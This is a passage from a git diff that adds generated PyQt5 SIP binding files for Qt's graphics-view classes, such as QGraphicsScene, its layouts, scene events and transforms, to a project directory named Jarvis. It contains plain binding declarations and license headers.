mouseMoveEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); + virtual void contextMenuEvent(QGraphicsSceneContextMenuEvent *event); + virtual void keyPressEvent(QKeyEvent *event); + virtual void keyReleaseEvent(QKeyEvent *event); + virtual void focusInEvent(QFocusEvent *event); + virtual void focusOutEvent(QFocusEvent *event); + virtual void dragEnterEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragLeaveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragMoveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dropEvent(QGraphicsSceneDragDropEvent *event); + virtual void inputMethodEvent(QInputMethodEvent *event); + virtual void hoverEnterEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverMoveEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverLeaveEvent(QGraphicsSceneHoverEvent *event); + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; +}; + +%ModuleCode +// These are needed by the %ConvertToSubClassCode. +#include +#include +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslayout.sip new file mode 100644 index 00000000..56677208 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslayout.sip @@ -0,0 +1,45 @@ +// qgraphicslayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsLayout : QGraphicsLayoutItem +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsLayout(QGraphicsLayoutItem *parent /TransferThis/ = 0); + virtual ~QGraphicsLayout(); + void setContentsMargins(qreal left, qreal top, qreal right, qreal bottom); + virtual void getContentsMargins(qreal *left, qreal *top, qreal *right, qreal *bottom) const; + void activate(); + bool isActivated() const; + virtual void invalidate(); + virtual void widgetEvent(QEvent *e); + virtual int count() const = 0 /__len__/; + virtual QGraphicsLayoutItem *itemAt(int i) const = 0; + virtual void removeAt(int index) = 0; + virtual void updateGeometry(); + +protected: + void addChildLayoutItem(QGraphicsLayoutItem *layoutItem /Transfer/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslayoutitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslayoutitem.sip new file mode 100644 index 00000000..7a262802 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslayoutitem.sip @@ -0,0 +1,75 @@ +// qgraphicslayoutitem.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsLayoutItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsLayoutItem(QGraphicsLayoutItem *parent /TransferThis/ = 0, bool isLayout = false); + virtual ~QGraphicsLayoutItem(); + void setSizePolicy(const QSizePolicy &policy); + void setSizePolicy(QSizePolicy::Policy hPolicy, QSizePolicy::Policy vPolicy, QSizePolicy::ControlType controlType = QSizePolicy::DefaultType); + QSizePolicy sizePolicy() const; + void setMinimumSize(const QSizeF &size); + QSizeF minimumSize() const; + void setMinimumWidth(qreal width); + void setMinimumHeight(qreal height); + void setPreferredSize(const QSizeF &size); + QSizeF preferredSize() const; + void setPreferredWidth(qreal width); + void setPreferredHeight(qreal height); + void setMaximumSize(const QSizeF &size); + QSizeF maximumSize() const; + void setMaximumWidth(qreal width); + void setMaximumHeight(qreal height); + virtual void setGeometry(const QRectF &rect); + QRectF geometry() const; + virtual void getContentsMargins(qreal *left, qreal *top, qreal *right, qreal *bottom) const; + QRectF contentsRect() const; + QSizeF effectiveSizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; + virtual void updateGeometry(); + QGraphicsLayoutItem *parentLayoutItem() const; + void setParentLayoutItem(QGraphicsLayoutItem *parent /TransferThis/); + bool isLayout() const; + void setMinimumSize(qreal aw, qreal ah); + void setPreferredSize(qreal aw, qreal ah); + void setMaximumSize(qreal aw, qreal ah); + qreal minimumWidth() const; + qreal minimumHeight() const; + qreal preferredWidth() const; + qreal preferredHeight() const; + qreal maximumWidth() const; + qreal maximumHeight() const; + QGraphicsItem *graphicsItem() const; + bool ownedByLayout() const; + +protected: + virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const = 0; + void setGraphicsItem(QGraphicsItem *item); + void setOwnedByLayout(bool ownedByLayout); + +private: + QGraphicsLayoutItem(const QGraphicsLayoutItem &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslinearlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslinearlayout.sip new file mode 100644 index 00000000..c52ff824 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicslinearlayout.sip @@ -0,0 +1,79 @@ +// qgraphicslinearlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsLinearLayout : QGraphicsLayout +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsLinearLayout(QGraphicsLayoutItem *parent /TransferThis/ = 0); + QGraphicsLinearLayout(Qt::Orientation orientation, QGraphicsLayoutItem *parent /TransferThis/ = 0); + virtual ~QGraphicsLinearLayout(); + void setOrientation(Qt::Orientation orientation); + Qt::Orientation orientation() const; + void addItem(QGraphicsLayoutItem *item /Transfer/); + void addStretch(int stretch = 1); + void insertItem(int index, QGraphicsLayoutItem *item /Transfer/); + void insertStretch(int index, int stretch = 1); + void removeItem(QGraphicsLayoutItem *item /TransferBack/); + virtual void removeAt(int index); +%MethodCode + // The ownership of any existing item must be passed back to Python. + QGraphicsLayoutItem *itm; + + if (a0 < sipCpp->count()) + itm = sipCpp->itemAt(a0); + else + itm = 0; + + Py_BEGIN_ALLOW_THREADS + sipSelfWasArg ? sipCpp->QGraphicsLinearLayout::removeAt(a0) + : sipCpp->removeAt(a0); + Py_END_ALLOW_THREADS + + // The Qt documentation isn't quite correct as ownership isn't always passed + // back to the caller. + if (itm && !itm->parentLayoutItem()) + { + PyObject *itmo = sipGetPyObject(itm, sipType_QGraphicsLayoutItem); + + if (itmo) + sipTransferBack(itmo); + } +%End + + void setSpacing(qreal spacing); + qreal spacing() const; + void setItemSpacing(int index, qreal spacing); + qreal itemSpacing(int index) const; + void setStretchFactor(QGraphicsLayoutItem *item, int stretch); + int stretchFactor(QGraphicsLayoutItem *item) const; + void setAlignment(QGraphicsLayoutItem *item, Qt::Alignment alignment); + Qt::Alignment alignment(QGraphicsLayoutItem *item) const; + virtual void setGeometry(const QRectF &rect); + virtual int count() const; + virtual QGraphicsLayoutItem *itemAt(int index) const; + virtual void invalidate(); + virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsproxywidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsproxywidget.sip new file mode 100644 index 00000000..1a74628f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsproxywidget.sip @@ -0,0 +1,88 @@ +// qgraphicsproxywidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsProxyWidget : QGraphicsWidget +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsProxyWidget(QGraphicsItem *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QGraphicsProxyWidget(); + void setWidget(QWidget *widget /Transfer/); +%MethodCode + // The ownership of any existing widget must be passed back to Python. + QWidget *w = sipCpp->widget(); + + Py_BEGIN_ALLOW_THREADS + sipCpp->setWidget(a0); + Py_END_ALLOW_THREADS + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferBack(wo); + } +%End + + QWidget *widget() const; + QRectF subWidgetRect(const QWidget *widget) const; + virtual void setGeometry(const QRectF &rect); + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); + virtual int type() const; + QGraphicsProxyWidget *createProxyForChildWidget(QWidget *child) /Factory/; + +protected: + virtual QVariant itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value); + virtual bool event(QEvent *event); + virtual bool eventFilter(QObject *object, QEvent *event); + virtual void showEvent(QShowEvent *event); + virtual void hideEvent(QHideEvent *event); + virtual void contextMenuEvent(QGraphicsSceneContextMenuEvent *event); + virtual void hoverEnterEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverLeaveEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverMoveEvent(QGraphicsSceneHoverEvent *event); + virtual void grabMouseEvent(QEvent *event); + virtual void ungrabMouseEvent(QEvent *event); + virtual void mouseMoveEvent(QGraphicsSceneMouseEvent *event); + virtual void mousePressEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); + virtual void wheelEvent(QGraphicsSceneWheelEvent *event); + virtual void keyPressEvent(QKeyEvent *event); + virtual void keyReleaseEvent(QKeyEvent *event); + virtual void focusInEvent(QFocusEvent *event); + virtual void focusOutEvent(QFocusEvent *event); + virtual bool focusNextPrevChild(bool next); + virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; + virtual void resizeEvent(QGraphicsSceneResizeEvent *event); + virtual void dragEnterEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragLeaveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragMoveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dropEvent(QGraphicsSceneDragDropEvent *event); + QGraphicsProxyWidget *newProxyWidget(const QWidget *) /Factory/; + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; + virtual void inputMethodEvent(QInputMethodEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsscene.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsscene.sip new file mode 100644 index 00000000..ab88418d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsscene.sip @@ -0,0 +1,182 @@ +// qgraphicsscene.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsScene : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum ItemIndexMethod + { + BspTreeIndex, + NoIndex, + }; + + QGraphicsScene(QObject *parent /TransferThis/ = 0); + QGraphicsScene(const QRectF &sceneRect, QObject *parent /TransferThis/ = 0); + QGraphicsScene(qreal x, qreal y, qreal width, qreal height, QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsScene(); + QRectF sceneRect() const; + qreal width() const; + qreal height() const; + void setSceneRect(const QRectF &rect); + void setSceneRect(qreal x, qreal y, qreal w, qreal h); + void render(QPainter *painter, const QRectF &target = QRectF(), const QRectF &source = QRectF(), Qt::AspectRatioMode mode = Qt::KeepAspectRatio); + QGraphicsScene::ItemIndexMethod itemIndexMethod() const; + void setItemIndexMethod(QGraphicsScene::ItemIndexMethod method); + QRectF itemsBoundingRect() const; + QList items(Qt::SortOrder order = Qt::DescendingOrder) const; + QList items(const QPointF &pos, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape, Qt::SortOrder order = Qt::DescendingOrder, const QTransform &deviceTransform = QTransform()) const; + QList items(const QRectF &rect, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape, Qt::SortOrder order = Qt::DescendingOrder, const QTransform &deviceTransform = QTransform()) const; + QList items(const QPolygonF &polygon, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape, Qt::SortOrder order = Qt::DescendingOrder, const QTransform &deviceTransform = QTransform()) const; + QList items(const QPainterPath &path, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape, Qt::SortOrder order = Qt::DescendingOrder, const QTransform &deviceTransform = QTransform()) const; + QList items(qreal x, qreal y, qreal w, qreal h, Qt::ItemSelectionMode mode, Qt::SortOrder order, const QTransform &deviceTransform = QTransform()) const; + QList collidingItems(const QGraphicsItem *item, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + QList selectedItems() const; + void setSelectionArea(const QPainterPath &path, const QTransform &deviceTransform); + void setSelectionArea(const QPainterPath &path, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape, const QTransform &deviceTransform = QTransform()); + void clearSelection(); + QGraphicsItemGroup *createItemGroup(const QList &items /Transfer/); + void destroyItemGroup(QGraphicsItemGroup *group /Transfer/); + void addItem(QGraphicsItem *item /Transfer/); + QGraphicsEllipseItem *addEllipse(const QRectF &rect, const QPen &pen = QPen(), const QBrush &brush = QBrush()); + QGraphicsEllipseItem *addEllipse(qreal x, qreal y, qreal w, qreal h, const QPen &pen = QPen(), const QBrush &brush = QBrush()); + QGraphicsLineItem *addLine(const QLineF &line, const QPen &pen = QPen()); + QGraphicsLineItem *addLine(qreal x1, qreal y1, qreal x2, qreal y2, const QPen &pen = QPen()); + QGraphicsPathItem *addPath(const QPainterPath &path, const QPen &pen = QPen(), const QBrush &brush = QBrush()); + QGraphicsPixmapItem *addPixmap(const QPixmap &pixmap); + QGraphicsPolygonItem *addPolygon(const QPolygonF &polygon, const QPen &pen = QPen(), const QBrush &brush = QBrush()); + QGraphicsRectItem *addRect(const QRectF &rect, const QPen &pen = QPen(), const QBrush &brush = QBrush()); + QGraphicsRectItem *addRect(qreal x, qreal y, qreal w, qreal h, const QPen &pen = QPen(), const QBrush &brush = QBrush()); + QGraphicsSimpleTextItem *addSimpleText(const QString &text, const QFont &font = QFont()); + QGraphicsTextItem *addText(const QString &text, const QFont &font = QFont()); + void removeItem(QGraphicsItem *item /TransferBack/); + QGraphicsItem *focusItem() const; + void setFocusItem(QGraphicsItem *item, Qt::FocusReason focusReason = Qt::OtherFocusReason); + bool hasFocus() const; + void setFocus(Qt::FocusReason focusReason = Qt::OtherFocusReason); + void clearFocus(); + QGraphicsItem *mouseGrabberItem() const; + QBrush backgroundBrush() const; + void setBackgroundBrush(const QBrush &brush); + QBrush foregroundBrush() const; + void setForegroundBrush(const QBrush &brush); + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; + QList views() const; + +public slots: + void advance(); + void update(const QRectF &rect = QRectF()); + void invalidate(const QRectF &rect = QRectF(), QGraphicsScene::SceneLayers layers = QGraphicsScene::AllLayers); + void clear(); + +signals: + void changed(const QList ®ion); + void sceneRectChanged(const QRectF &rect); + void selectionChanged(); + +protected: + virtual bool event(QEvent *event); + virtual void contextMenuEvent(QGraphicsSceneContextMenuEvent *event); + virtual void dragEnterEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragMoveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragLeaveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dropEvent(QGraphicsSceneDragDropEvent *event); + virtual void focusInEvent(QFocusEvent *event); + virtual void focusOutEvent(QFocusEvent *event); + virtual void helpEvent(QGraphicsSceneHelpEvent *event); + virtual void keyPressEvent(QKeyEvent *event); + virtual void keyReleaseEvent(QKeyEvent *event); + virtual void mousePressEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseMoveEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); + virtual void wheelEvent(QGraphicsSceneWheelEvent *event); + virtual void inputMethodEvent(QInputMethodEvent *event); + virtual void drawBackground(QPainter *painter, const QRectF &rect); + virtual void drawForeground(QPainter *painter, const QRectF &rect); + +public: + enum SceneLayer + { + ItemLayer, + BackgroundLayer, + ForegroundLayer, + AllLayers, + }; + + typedef QFlags SceneLayers; + int bspTreeDepth() const; + void setBspTreeDepth(int depth); + QPainterPath selectionArea() const; + void update(qreal x, qreal y, qreal w, qreal h); + QGraphicsProxyWidget *addWidget(QWidget *widget /Transfer/, Qt::WindowFlags flags = Qt::WindowFlags()); + QStyle *style() const; + void setStyle(QStyle *style /Transfer/); + QFont font() const; + void setFont(const QFont &font); + QPalette palette() const; + void setPalette(const QPalette &palette); + QGraphicsWidget *activeWindow() const; + void setActiveWindow(QGraphicsWidget *widget); + +protected: + virtual bool eventFilter(QObject *watched, QEvent *event); + bool focusNextPrevChild(bool next); + +public: + void setStickyFocus(bool enabled); + bool stickyFocus() const; + QGraphicsItem *itemAt(const QPointF &pos, const QTransform &deviceTransform) const; + QGraphicsItem *itemAt(qreal x, qreal y, const QTransform &deviceTransform) const; + bool isActive() const; + QGraphicsItem *activePanel() const; + void setActivePanel(QGraphicsItem *item); + bool sendEvent(QGraphicsItem *item, QEvent *event); + void invalidate(qreal x, qreal y, qreal w, qreal h, QGraphicsScene::SceneLayers layers = QGraphicsScene::AllLayers); +%If (Qt_5_4_0 -) + qreal minimumRenderSize() const; +%End +%If (Qt_5_4_0 -) + void setMinimumRenderSize(qreal minSize); +%End + +signals: +%If (Qt_5_1_0 -) + void focusItemChanged(QGraphicsItem *newFocus, QGraphicsItem *oldFocus, Qt::FocusReason reason); +%End + +public: +%If (Qt_5_5_0 -) + void setSelectionArea(const QPainterPath &path, Qt::ItemSelectionOperation selectionOperation, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape, const QTransform &deviceTransform = QTransform()); +%End +%If (Qt_5_12_0 -) + bool focusOnTouch() const; +%End +%If (Qt_5_12_0 -) + void setFocusOnTouch(bool enabled); +%End +}; + +QFlags operator|(QGraphicsScene::SceneLayer f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicssceneevent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicssceneevent.sip new file mode 100644 index 00000000..eb70f121 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicssceneevent.sip @@ -0,0 +1,251 @@ +// qgraphicssceneevent.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsSceneEvent : QEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case QEvent::GraphicsSceneContextMenu: + sipType = sipType_QGraphicsSceneContextMenuEvent; + break; + + case QEvent::GraphicsSceneDragEnter: + case QEvent::GraphicsSceneDragLeave: + case QEvent::GraphicsSceneDragMove: + case QEvent::GraphicsSceneDrop: + sipType = sipType_QGraphicsSceneDragDropEvent; + break; + + case QEvent::GraphicsSceneHelp: + sipType = sipType_QGraphicsSceneHelpEvent; + break; + + case QEvent::GraphicsSceneHoverEnter: + case QEvent::GraphicsSceneHoverLeave: + case QEvent::GraphicsSceneHoverMove: + sipType = sipType_QGraphicsSceneHoverEvent; + break; + + case QEvent::GraphicsSceneMouseDoubleClick: + case QEvent::GraphicsSceneMouseMove: + case QEvent::GraphicsSceneMousePress: + case QEvent::GraphicsSceneMouseRelease: + sipType = sipType_QGraphicsSceneMouseEvent; + break; + + case QEvent::GraphicsSceneWheel: + sipType = sipType_QGraphicsSceneWheelEvent; + break; + + case QEvent::GraphicsSceneMove: + sipType = sipType_QGraphicsSceneMoveEvent; + break; + + case QEvent::GraphicsSceneResize: + sipType = sipType_QGraphicsSceneResizeEvent; + break; + + default: + sipType = 0; + } +%End + +public: + virtual ~QGraphicsSceneEvent(); + QWidget *widget() const; + +private: + QGraphicsSceneEvent(const QGraphicsSceneEvent &); +}; + +class QGraphicsSceneMouseEvent : QGraphicsSceneEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGraphicsSceneMouseEvent(); + QPointF pos() const; + QPointF scenePos() const; + QPoint screenPos() const; + QPointF buttonDownPos(Qt::MouseButton button) const; + QPointF buttonDownScenePos(Qt::MouseButton button) const; + QPoint buttonDownScreenPos(Qt::MouseButton button) const; + QPointF lastPos() const; + QPointF lastScenePos() const; + QPoint lastScreenPos() const; + Qt::MouseButtons buttons() const; + Qt::MouseButton button() const; + Qt::KeyboardModifiers modifiers() const; +%If (Qt_5_4_0 -) + Qt::MouseEventSource source() const; +%End +%If (Qt_5_4_0 -) + Qt::MouseEventFlags flags() const; +%End + +private: + QGraphicsSceneMouseEvent(const QGraphicsSceneMouseEvent &); +}; + +class QGraphicsSceneWheelEvent : QGraphicsSceneEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGraphicsSceneWheelEvent(); + QPointF pos() const; + QPointF scenePos() const; + QPoint screenPos() const; + Qt::MouseButtons buttons() const; + Qt::KeyboardModifiers modifiers() const; + int delta() const; + Qt::Orientation orientation() const; + +private: + QGraphicsSceneWheelEvent(const QGraphicsSceneWheelEvent &); +}; + +class QGraphicsSceneContextMenuEvent : QGraphicsSceneEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Reason + { + Mouse, + Keyboard, + Other, + }; + + virtual ~QGraphicsSceneContextMenuEvent(); + QPointF pos() const; + QPointF scenePos() const; + QPoint screenPos() const; + Qt::KeyboardModifiers modifiers() const; + QGraphicsSceneContextMenuEvent::Reason reason() const; + +private: + QGraphicsSceneContextMenuEvent(const QGraphicsSceneContextMenuEvent &); +}; + +class QGraphicsSceneHoverEvent : QGraphicsSceneEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGraphicsSceneHoverEvent(); + QPointF pos() const; + QPointF scenePos() const; + QPoint screenPos() const; + QPointF lastPos() const; + QPointF lastScenePos() const; + QPoint lastScreenPos() const; + Qt::KeyboardModifiers modifiers() const; + +private: + QGraphicsSceneHoverEvent(const QGraphicsSceneHoverEvent &); +}; + +class QGraphicsSceneHelpEvent : QGraphicsSceneEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGraphicsSceneHelpEvent(); + QPointF scenePos() const; + QPoint screenPos() const; + +private: + QGraphicsSceneHelpEvent(const QGraphicsSceneHelpEvent &); +}; + +class QGraphicsSceneDragDropEvent : QGraphicsSceneEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGraphicsSceneDragDropEvent(); + QPointF pos() const; + QPointF scenePos() const; + QPoint screenPos() const; + Qt::MouseButtons buttons() const; + Qt::KeyboardModifiers modifiers() const; + Qt::DropActions possibleActions() const; + Qt::DropAction proposedAction() const; + void acceptProposedAction(); + Qt::DropAction dropAction() const; + void setDropAction(Qt::DropAction action); + QWidget *source() const; + const QMimeData *mimeData() const; + +private: + QGraphicsSceneDragDropEvent(const QGraphicsSceneDragDropEvent &); +}; + +class QGraphicsSceneResizeEvent : QGraphicsSceneEvent +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsSceneResizeEvent(); + virtual ~QGraphicsSceneResizeEvent(); + QSizeF oldSize() const; + QSizeF newSize() const; + +private: + QGraphicsSceneResizeEvent(const QGraphicsSceneResizeEvent &); +}; + +class QGraphicsSceneMoveEvent : QGraphicsSceneEvent +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsSceneMoveEvent(); + virtual ~QGraphicsSceneMoveEvent(); + QPointF oldPos() const; + QPointF newPos() const; + +private: + QGraphicsSceneMoveEvent(const QGraphicsSceneMoveEvent &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicstransform.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicstransform.sip new file mode 100644 index 00000000..3478ac95 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicstransform.sip @@ -0,0 +1,87 @@ +// qgraphicstransform.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsTransform : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsTransform(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsTransform(); + virtual void applyTo(QMatrix4x4 *matrix) const = 0; + +protected slots: + void update(); +}; + +class QGraphicsScale : QGraphicsTransform +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsScale(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsScale(); + QVector3D origin() const; + void setOrigin(const QVector3D &point); + qreal xScale() const; + void setXScale(qreal); + qreal yScale() const; + void setYScale(qreal); + qreal zScale() const; + void setZScale(qreal); + virtual void applyTo(QMatrix4x4 *matrix) const; + +signals: + void originChanged(); + void scaleChanged(); + void xScaleChanged(); + void yScaleChanged(); + void zScaleChanged(); +}; + +class QGraphicsRotation : QGraphicsTransform +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsRotation(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsRotation(); + QVector3D origin() const; + void setOrigin(const QVector3D &point); + qreal angle() const; + void setAngle(qreal); + QVector3D axis() const; + void setAxis(const QVector3D &axis); + void setAxis(Qt::Axis axis); + virtual void applyTo(QMatrix4x4 *matrix) const; + +signals: + void originChanged(); + void angleChanged(); + void axisChanged(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsview.sip 